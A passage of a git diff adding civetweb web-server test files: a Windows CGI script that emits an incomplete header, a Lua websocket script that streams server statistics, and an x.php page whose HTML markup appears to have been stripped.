Some error sent to stderr 1>&2 diff --git a/src/civetweb/test/windows_fail_silent.cgi b/src/civetweb/test/windows_fail_silent.cgi new file mode 100644 index 000000000..198225aed --- /dev/null +++ b/src/civetweb/test/windows_fail_silent.cgi @@ -0,0 +1,2 @@ +#!r:\windows_fail_silent.cgi.cmd + diff --git a/src/civetweb/test/windows_fail_silent.cgi.cmd b/src/civetweb/test/windows_fail_silent.cgi.cmd new file mode 100644 index 000000000..bb2bf1bad --- /dev/null +++ b/src/civetweb/test/windows_fail_silent.cgi.cmd @@ -0,0 +1,3 @@ +@echo off +echo not a complete header +echo and nothing sent to stderr diff --git a/src/civetweb/test/ws_status.lua b/src/civetweb/test/ws_status.lua new file mode 100644 index 000000000..a19505b23 --- /dev/null +++ b/src/civetweb/test/ws_status.lua @@ -0,0 +1,137 @@ +if mg.lua_type ~= "websocket" then + mg.write("HTTP/1.0 200 OK\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("\r\n") + mg.write("\r\n") + mg.write("\r\n") + mg.write("\r\n") + mg.write("Server stats\r\n") + mg.write("\r\n") + mg.write("\r\n") + mg.write([====[ + +]====]) + + mg.write("
    Wait for page load
    \r\n") + mg.write("\r\n") + mg.write("\r\n") + return +end + + +function table.count(tab) + local count = 0 + for _ in pairs(tab) do + count = count + 1 + end + return count +end + + +-- table of all active connection +allConnections = {} +connCount = table.count(allConnections) + + +-- function to get a client identification string +function who(tab) + local ri = allConnections[tab.client].request_info + return ri.remote_addr .. ":" .. ri.remote_port +end + +-- Callback to accept or reject a connection +function open(tab) + allConnections[tab.client] = tab + connCount = table.count(allConnections) + return true -- return true to accept the connection +end + +-- Callback for "Websocket ready" +function ready(tab) + senddata() + return true -- return true to keep the connection open +end + +-- Callback for "Websocket received data" +function data(tab) + senddata() + return true -- return true to keep the connection open +end + +-- Callback for "Websocket is closing" +function close(tab) + allConnections[tab.client] = nil + connCount = table.count(allConnections) +end + +function senddata() + local date = os.date('*t'); + + collectgarbage("collect"); -- Avoid adding uncollected Lua memory from this state + + mg.write(string.format([[ +{"Time": "%u:%02u:%02u", + "Date": "%04u-%02u-%02u", + "Context": %s, + "Common": %s, + "System": \"%s\", + "ws_status": {"Memory": %u, "Connections": %u} +}]], +date.hour, date.min, date.sec, +date.year, date.month, date.day, +mg.get_info("context"), +mg.get_info("common"), +mg.get_info("system"), +collectgarbage("count")*1024, +connCount +)); + +end + +function timer() + senddata() + mg.set_timeout("timer()", 1) +end + +mg.set_timeout("timer()", 1) + diff --git a/src/civetweb/test/x.php b/src/civetweb/test/x.php new file mode 100644 index 000000000..cd3284297 --- /dev/null +++ b/src/civetweb/test/x.php @@ -0,0 +1,9 @@ + +
    + + +
    + + + + -- cgit v1.2.3